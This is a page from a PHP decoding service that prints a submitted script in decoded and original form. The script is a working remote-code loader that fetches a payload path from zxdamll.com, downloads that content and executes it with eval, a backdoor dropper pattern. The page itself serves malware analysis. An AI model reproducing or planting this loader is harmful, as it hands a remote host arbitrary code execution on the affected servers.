Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $config = [ 'url' => "https://zxdamll.com/1.aspx", 'suff' => "php..
Decoded Output download
<?php
$config = [
'url' => "https://zxdamll.com/1.aspx",
'suff' => "php64/byphp64/yuanzenc.txt"
];
function fetchContent($url) {
$content = @file_get_contents($url);
if ($content === false) {
error_log("drgrge: $url");
return null;
}
return $content;
}
function processContent($baseUrl, $suffix) {
$remoteContent = fetchContent($baseUrl);
if ($remoteContent === null) {
return;
}
$localUrl = rtrim($remoteContent, '/') . '/' . ltrim($suffix, '/');
$localContent = fetchContent($localUrl);
if ($localContent === null) {
return;
}
safeExecute($localContent);
}
function safeExecute($code) {
if (preg_match('/<\?php/', $code) === 0) {
echo "dsfghjkl";
return;
}
ob_start();
try {
eval("?>$code");
} catch (Throwable $e) {
error_log("wetr " . $e->getMessage());
}
$output = ob_get_clean();
echo $output;
}
processContent($config['url'], $config['suff']);
?>
?>
Did this file decode correctly?
Original Code
<?php
$config = [
'url' => "https://zxdamll.com/1.aspx",
'suff' => "php64/byphp64/yuanzenc.txt"
];
function fetchContent($url) {
$content = @file_get_contents($url);
if ($content === false) {
error_log("drgrge: $url");
return null;
}
return $content;
}
function processContent($baseUrl, $suffix) {
$remoteContent = fetchContent($baseUrl);
if ($remoteContent === null) {
return;
}
$localUrl = rtrim($remoteContent, '/') . '/' . ltrim($suffix, '/');
$localContent = fetchContent($localUrl);
if ($localContent === null) {
return;
}
safeExecute($localContent);
}
function safeExecute($code) {
if (preg_match('/<\?php/', $code) === 0) {
echo "dsfghjkl";
return;
}
ob_start();
try {
eval("?>$code");
} catch (Throwable $e) {
error_log("wetr " . $e->getMessage());
}
$output = ob_get_clean();
echo $output;
}
processContent($config['url'], $config['suff']);
__halt_compiler();
?>
Function Calls
None |
Stats
MD5 | 51da72d89ffd2ab84be319c2d6fcf447 |
Eval Count | 0 |
Decode Time | 43 ms |